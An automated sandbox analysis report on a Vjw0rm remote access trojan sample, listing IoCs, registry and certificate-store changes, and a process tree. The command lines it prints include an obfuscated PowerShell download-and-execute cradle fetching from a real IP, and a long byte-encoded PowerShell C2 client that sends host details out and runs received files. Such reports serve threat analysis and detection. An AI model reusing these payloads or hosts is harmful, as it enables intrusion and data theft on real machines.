vjw0rm | 71f139d6eb543057497ad49270cac90d1edbc0d6f0201e85e21ca0f05efb30bc

Analysis

max time kernel
145s
max time network
151s
platform
windows7_x64
resource
win7v20210408
submitted
22/07/2021, 23:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
N504152014.vbs
Size 222B
Sample210722-g3ec3pndms
SHA256 71f139d6eb543057497ad49270cac90d1edbc0d6f0201e85e21ca0f05efb30bc
MD5 1cbd83f1bf2a1b9644a771224fee3f6d
SHA1 1530b6e0a924738a8786065c55bf8f3089177bef
SHA512 82b079ffd2a211800262728123e1cf9786e0b1399f94d77773b308e179709b18735ab152de2f1687ab7b4a4a3145ba30ae9a8182b61c90b97337841caa6a305a
MD5 SHA1 SHA512

Score

10^/10

vjw0rm trojan worm

Malware Config

Signatures

Vjw0rm
Vjw0rm is a remote access trojan written in JavaScript.
trojan worm vjw0rm

Blocklisted process makes network request 7 IoCs

flow	pid	Process
4	1556	mshta.exe
7	1556	mshta.exe
9	1556	mshta.exe
10	1556	mshta.exe
12	1100	powershell.exe
13	1100	powershell.exe
15	1980	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1572	dismhost.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemUpdate.js	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemUpdate.js	WScript.exe

Loads dropped DLL 33 IoCs

pid	Process
1596	Dism.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe
1572	dismhost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DISM\dism.log	Dism.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	mshta.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1100	powershell.exe
1100	powershell.exe
1416	powershell.exe
1416	powershell.exe
1708	powershell.exe
1708	powershell.exe
1768	powershell.exe
1768	powershell.exe
1980	powershell.exe
1980	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeBackupPrivilege	1596	Dism.exe
Token: SeRestorePrivilege	1596	Dism.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 360 wrote to memory of 1556	360	WScript.exe	26
PID 360 wrote to memory of 1556	360	WScript.exe	26
PID 360 wrote to memory of 1556	360	WScript.exe	26
PID 1556 wrote to memory of 1100	1556	mshta.exe	32
PID 1556 wrote to memory of 1100	1556	mshta.exe	32
PID 1556 wrote to memory of 1100	1556	mshta.exe	32
PID 1100 wrote to memory of 2020	1100	powershell.exe	34
PID 1100 wrote to memory of 2020	1100	powershell.exe	34
PID 1100 wrote to memory of 2020	1100	powershell.exe	34
PID 2020 wrote to memory of 1416	2020	WScript.exe	35
PID 2020 wrote to memory of 1416	2020	WScript.exe	35
PID 2020 wrote to memory of 1416	2020	WScript.exe	35
PID 1416 wrote to memory of 1124	1416	powershell.exe	37
PID 1416 wrote to memory of 1124	1416	powershell.exe	37
PID 1416 wrote to memory of 1124	1416	powershell.exe	37
PID 1124 wrote to memory of 1708	1124	WScript.exe	38
PID 1124 wrote to memory of 1708	1124	WScript.exe	38
PID 1124 wrote to memory of 1708	1124	WScript.exe	38
PID 1708 wrote to memory of 1596	1708	powershell.exe	40
PID 1708 wrote to memory of 1596	1708	powershell.exe	40
PID 1708 wrote to memory of 1596	1708	powershell.exe	40
PID 1124 wrote to memory of 1768	1124	WScript.exe	41
PID 1124 wrote to memory of 1768	1124	WScript.exe	41
PID 1124 wrote to memory of 1768	1124	WScript.exe	41
PID 1596 wrote to memory of 1572	1596	Dism.exe	43
PID 1596 wrote to memory of 1572	1596	Dism.exe	43
PID 1596 wrote to memory of 1572	1596	Dism.exe	43
PID 1100 wrote to memory of 784	1100	powershell.exe	44
PID 1100 wrote to memory of 784	1100	powershell.exe	44
PID 1100 wrote to memory of 784	1100	powershell.exe	44
PID 784 wrote to memory of 1980	784	WScript.exe	45
PID 784 wrote to memory of 1980	784	WScript.exe	45
PID 784 wrote to memory of 1980	784	WScript.exe	45

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\N504152014.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:360
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://bit.ly/3hVBLlN
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  - Modifies system certificate store
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $NOTHING = '(N`e`<^_^>t`.W`e'.Replace('<^_^>','w-Object Ne');$alosh='bC||||||!@!@nlo'.Replace('||||||!@!@','lient).Dow'); $Dont='adString(''http://185.81.157.24/9093/3.txt'')';$YOUTUBE=I`E`X ($NOTHING,$alosh,$Dont -Join '')|I`E`X
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Public\Chrome.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2020
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\run.ps1
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1416
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\vb.vbs"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1708
        
        C:\Windows\system32\Dism.exe
        
        "C:\Windows\system32\Dism.exe" /online /enable-feature /featurename:NetFX3
        8⤵
        Loads dropped DLL
        Drops file in Windows directory
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\C0AD2394-8983-44EF-BC4E-D7F90F4C1C1C\dismhost.exe
        
        C:\Users\Admin\AppData\Local\Temp\C0AD2394-8983-44EF-BC4E-D7F90F4C1C1C\dismhost.exe {0206EF77-E93F-41B6-936E-255BC0F67833}
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:1572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\alosh.ps1
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1768
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Public\msi.js"
      4⤵
      Drops startup file
      Suspicious use of WriteProcessMemory
      PID:784
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy rEmOtEsIgNeD -Command Invoke-Expression ([System.Text.Encoding]::Default.GetString(@(65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,87,105,110,100,111,119,115,46,70,111,114,109,115,13,10,65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,13,10,13,10,36,104,116,116,112,111,98,106,32,61,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,13,10,36,104,32,61,32,34,49,56,53,46,56,49,46,49,53,55,46,49,56,55,34,13,10,36,112,32,61,32,34,57,48,57,51,34,13,10,36,86,98,115,80,97,116,104,32,61,32,34,37,86,98,115,112,97,116,104,37,34,13,10,36,83,84,85,80,67,111,112,121,32,61,32,34,37,83,116,97,114,116,117,112,37,34,13,10,36,115,112,108,32,61,32,34,124,86,124,34,13,10,36,69,114,114,111,114,65,99,116,105,111,110,80,114,101,102,101,114,101,110,99,101,32,61,32,39,83,105,108,101,110,116,108,121,67,111,110,116,105,110,117,101,39,13,10,13,10,102,117,110,99,116,105,111,110,32,73,110,115,40,41,32,123,13,10,32,32,32,32,36,68,101,115,116,105,110,97,116,105,111,110,32,61,32,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,52,32,43,32,51,41,32,43,32,34,92,34,32,43,32,34,83,121,115,116,101,109,84,114,97,121,54,52,46,106,115,34,13,10,32,32,32,32,105,102,32,40,36,83,84,85,80,67,111,112,121,32,45,101,113,32,34,84,114,117,101,34,41,32,123,13,10,32,32,32,32,32,32,32,36,67,111,109,109,97,110,100,32,61,32,40,66,105,110,97,114,121,50,83,116,114,105,110,103,40,34,44,46,44,44,44,44,46,46,44,46,46,44,46,46,46,46,44,46,46,46,44,44,44,44,44,46,46,46,46,44,44,46,44,44,46,44,46,46,44,46,44,46,44,44,46,44,44,46,44,46,46,46,44,46,44,44,44,46,46,44,44,46,44,46,44,46,46,44,46,46,44,46,34,46,82,101,112,108,97,99,101,40,34,44,34,44,32,34,48,34,41,46,82,101,112,108,97,99,101,40,34,46,34,44,32,34,49,34,41,41,41,32,43,32,34,32,39,34,32,43,32,36,86,98,115,80,97,116,104,32,43,32,34,39,32,39,34,32,43,32,36,68,101,115,116,105,110,97,116,105,111,110,32,43,32,34,39,34,13,10,32,32,32,32,32,32,32,35,73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110,32,36,67,111,109,109,97,110,100,13,10,32,32,32,32,125,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,71,101,116,45,65,110,116,105,118,105,114,117,115,78,97,109,101,32,123,13,10,91,99,109,100,108,101,116,66,105,110,100,105,110,103,40,41,93,32,32,32,32,32,13,10,112,97,114,97,109,32,40,32,13,10,91,115,116,114,105,110,103,93,36,67,111,109,112,117,116,101,114,78,97,109,101,32,61,32,34,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,34,32,44,32,13,10,36,67,114,101,100,101,110,116,105,97,108,32,13,10,41,32,13,10,32,32,32,32,66,69,71,73,78,32,32,13,10,32,32,32,32,32,32,32,32,123,13,10,32,32,32,32,32,32,32,32,32,32,32,32,36,119,109,105,81,117,101,114,121,32,61,32,34,83,69,76,69,67,84,32,42,32,70,82,79,77,32,65,110,116,105,86,105,114,117,115,80,114,111,100,117,99,116,34,13,10,32,32,32,32,32,32,32,32,125,13,10,32,32,32,32,80,82,79,67,69,83,83,32,32,13,10,32,32,32,32,32,32,32,32,123,13,10,32,32,32,32,32,32,32,32,32,32,32,32,36,65,110,116,105,118,105,114,117,115,80,114,111,100,117,99,116,32,61,32,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,78,97,109,101,115,112,97,99,101,32,34,114,111,111,116,92,83,101,99,117,114,105,116,121,67,101,110,116,101,114,50,34,32,45,81,117,101,114,121,32,36,119,109,105,81,117,101,114,121,32,32,64,112,115,98,111,117,110,100,112,97,114,97,109,101,116,101,114,115,32,32,32,32,32,32,32,32,32,32,13,10,32,32,32,32,32,32,32,32,32,32,32,32,114,101,116,117,114,110,32,36,65,110,116,105,118,105,114,117,115,80,114,111,100,117,99,116,46,100,105,115,112,108,97,121,78,97,109,101,13,10,32,32,32,32,32,32,32,32,125,32,13,10,32,32,32,32,69,78,68,32,123,32,13,10,32,32,32,32,32,32,32,32,125,32,13,10,125,13,10,13,10,70,117,110,99,116,105,111,110,32,66,105,110,97,114,121,50,83,116,114,105,110,103,40,91,83,116,114,105,110,103,93,32,36,100,97,116,97,41,32,123,13,10,32,32,32,32,36,98,121,116,101,76,105,115,116,32,61,32,91,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,71,101,110,101,114,105,99,46,76,105,115,116,91,66,121,116,101,93,93,58,58,110,101,119,40,41,13,10,32,32,32,32,102,111,114,32,40,36,105,32,61,32,48,59,32,36,105,32,45,108,116,32,36,100,97,116,97,46,76,101,110,103,116,104,59,32,36,105,32,43,61,56,41,32,123,13,10,32,32,32,32,32,32,32,32,36,98,121,116,101,76,105,115,116,46,65,100,100,40,91,67,111,110,118,101,114,116,93,58,58,84,111,66,121,116,101,40,36,100,97,116,97,46,83,117,98,115,116,114,105,110,103,40,36,105,44,32,56,41,44,32,50,41,41,13,10,32,32,32,32,125,13,10,32,32,32,32,114,101,116,117,114,110,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,65,83,67,73,73,46,71,101,116,83,116,114,105,110,103,40,36,98,121,116,101,76,105,115,116,46,84,111,65,114,114,97,121,40,41,41,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,80,79,83,84,40,36,68,65,44,32,36,80,97,114,97,109,41,32,123,13,10,36,82,101,115,112,111,110,115,101,84,101,120,116,32,61,32,34,34,13,10,116,114,121,13,10,123,13,10,36,104,116,116,112,111,98,106,46,79,112,101,110,40,34,80,79,83,84,34,44,32,34,104,116,116,112,58,47,47,34,32,43,32,36,104,32,43,32,34,58,34,32,43,32,36,112,32,43,32,34,47,34,32,43,32,36,68,65,44,32,36,102,97,108,115,101,41,13,10,36,104,116,116,112,111,98,106,46,83,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,85,115,101,114,45,65,103,101,110,116,58,34,44,32,36,105,110,102,111,41,13,10,36,104,116,116,112,111,98,106,46,83,101,110,100,40,36,80,97,114,97,109,41,13,10,36,82,101,115,112,111,110,115,101,84,101,120,116,32,61,32,91,83,121,115,116,101,109,46,67,111,110,118,101,114,116,93,58,58,84,111,83,116,114,105,110,103,40,36,104,116,116,112,111,98,106,46,82,101,115,112,111,110,115,101,84,101,120,116,41,13,10,125,32,99,97,116,99,104,32,123,32,125,13,10,114,101,116,117,114,110,32,36,82,101,115,112,111,110,115,101,84,101,120,116,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,105,110,102,32,123,13,10,32,32,32,32,36,97,118,32,61,32,71,101,116,45,65,110,116,105,118,105,114,117,115,78,97,109,101,13,10,32,32,32,32,36,118,114,32,61,32,34,118,50,46,48,34,13,10,32,32,32,32,36,109,97,99,32,61,32,72,87,73,68,40,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,41,13,10,32,32,32,32,36,105,100,32,61,32,36,119,111,114,109,73,68,32,43,32,34,34,32,43,32,36,109,97,99,13,10,32,32,32,32,36,111,115,32,61,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,83,116,114,105,110,103,115,93,58,58,83,112,108,105,116,40,40,71,101,116,45,87,77,73,79,98,106,101,99,116,32,119,105,110,51,50,95,111,112,101,114,97,116,105,110,103,115,121,115,116,101,109,41,46,110,97,109,101,44,34,124,34,41,91,48,93,32,43,32,34,32,34,32,43,32,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,87,105,110,51,50,95,79,112,101,114,97,116,105,110,103,83,121,115,116,101,109,41,46,79,83,65,114,99,104,105,116,101,99,116,117,114,101,13,10,32,32,32,32,114,101,116,117,114,110,32,36,105,100,32,43,32,34,92,34,32,43,32,40,36,101,110,118,58,67,79,77,80,85,84,69,82,78,65,77,69,41,32,43,32,34,92,34,32,43,32,40,36,101,110,118,58,85,115,101,114,78,97,109,101,41,32,43,32,34,92,34,32,43,32,36,111,115,32,43,32,34,92,34,32,43,32,36,97,118,32,43,32,34,92,34,32,43,32,34,89,101,115,34,32,43,32,34,92,34,32,43,32,34,89,101,115,34,32,43,32,34,92,34,32,43,32,34,70,65,76,83,69,34,32,43,32,34,92,34,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,72,87,73,68,40,36,115,116,114,67,111,109,112,117,116,101,114,41,32,123,13,10,36,69,114,114,111,114,65,99,116,105,111,110,80,114,101,102,101,114,101,110,99,101,32,61,32,39,83,105,108,101,110,116,108,121,67,111,110,116,105,110,117,101,39,13,10,32,32,32,32,36,108,111,108,32,61,32,91,83,121,115,116,101,109,46,67,111,110,118,101,114,116,93,58,58,84,111,83,116,114,105,110,103,40,40,103,101,116,45,119,109,105,111,98,106,101,99,116,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,80,114,111,100,117,99,116,32,32,124,32,83,101,108,101,99,116,45,79,98,106,101,99,116,32,45,69,120,112,97,110,100,80,114,111,112,101,114,116,121,32,85,85,73,68,41,41,13,10,32,32,32,32,114,101,116,117,114,110,32,40,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,83,116,114,105,110,103,115,93,58,58,83,112,108,105,116,40,36,108,111,108,44,39,45,39,41,91,48,93,32,43,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,83,116,114,105,110,103,115,93,58,58,83,112,108,105,116,40,36,108,111,108,44,39,45,39,41,91,49,93,41,13,10,125,13,10,13,10,36,105,110,102,111,32,61,32,105,110,102,13,10,73,110,115,13,10,13,10,119,104,105,108,101,40,36,116,114,117,101,41,13,10,123,13,10,36,65,32,61,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,83,116,114,105,110,103,115,93,58,58,83,112,108,105,116,40,40,80,79,83,84,40,34,86,114,101,34,44,32,34,34,41,41,32,44,32,36,115,112,108,41,13,10,115,119,105,116,99,104,40,36,65,91,48,93,41,32,123,13,10,32,32,34,82,70,34,32,123,13,10,32,32,32,32,36,84,97,114,103,101,116,80,97,116,104,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,32,43,32,36,65,91,50,93,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,66,121,116,101,115,40,36,84,97,114,103,101,116,80,97,116,104,44,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,68,101,102,97,117,108,116,46,71,101,116,66,121,116,101,115,40,36,65,91,49,93,41,41,13,10,32,32,32,32,91,83,121,115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,46,80,114,111,99,101,115,115,93,58,58,83,116,97,114,116,40,36,84,97,114,103,101,116,80,97,116,104,41,13,10,32,32,98,114,101,97,107,32,125,13,10,32,32,34,84,82,34,32,123,13,10,32,32,32,32,91,83,116,114,105,110,103,93,32,36,80,115,70,105,108,101,78,97,109,101,32,61,32,32,91,83,121,115,116,101,109,46,71,117,105,100,93,58,58,78,101,119,71,117,105,100,40,41,46,84,111,83,116,114,105,110,103,40,41,46,82,101,112,108,97,99,101,40,34,45,34,44,32,34,34,41,32,43,32,34,46,80,83,49,34,13,10,32,32,32,32,36,84,97,114,103,101,116,80,97,116,104,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,32,43,32,36,80,115,70,105,108,101,78,97,109,101,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,36,84,97,114,103,101,116,80,97,116,104,44,32,36,65,91,49,93,41,13,10,32,32,32,32,80,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,66,121,112,97,115,115,32,45,87,105,110,100,111,119,83,116,121,108,101,32,72,105,100,100,101,110,32,45,70,105,108,101,32,36,84,97,114,103,101,116,80,97,116,104,13,10,13,10,32,32,32,32,35,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,55,41,32,43,32,34,92,34,32,43,32,36,80,115,70,105,108,101,78,97,109,101,46,82,101,112,108,97,99,101,40,34,46,80,83,49,34,44,32,34,46,99,109,100,34,41,44,32,34,80,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,66,121,112,97,115,115,32,45,119,105,110,100,111,119,115,116,121,108,101,32,104,105,100,100,101,110,32,45,70,105,108,101,32,34,32,43,32,36,84,97,114,103,101,116,80,97,116,104,41,13,10,32,32,98,114,101,97,107,32,125,13,10,32,32,34,101,120,99,34,32,123,13,10,32,32,32,32,36,70,105,108,101,110,97,109,101,32,61,32,45,106,111,105,110,32,40,40,54,53,46,46,57,48,41,32,43,32,40,57,55,46,46,49,50,50,41,32,124,32,71,101,116,45,82,97,110,100,111,109,32,45,67,111,117,110,116,32,53,32,124,32,37,32,123,91,99,104,97,114,93,36,95,125,41,32,43,32,34,46,118,98,115,34,13,10,32,32,32,32,36,84,97,114,103,101,116,80,97,116,104,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,32,43,32,36,70,105,108,101,110,97,109,101,13,10,32,32,32,32,36,67,117,114,114,83,99,32,61,32,36,65,91,49,93,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,36,84,97,114,103,101,116,80,97,116,104,44,32,36,67,117,114,114,83,99,41,13,10,32,32,32,32,91,83,121,115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,46,80,114,111,99,101,115,115,93,58,58,83,116,97,114,116,40,36,84,97,114,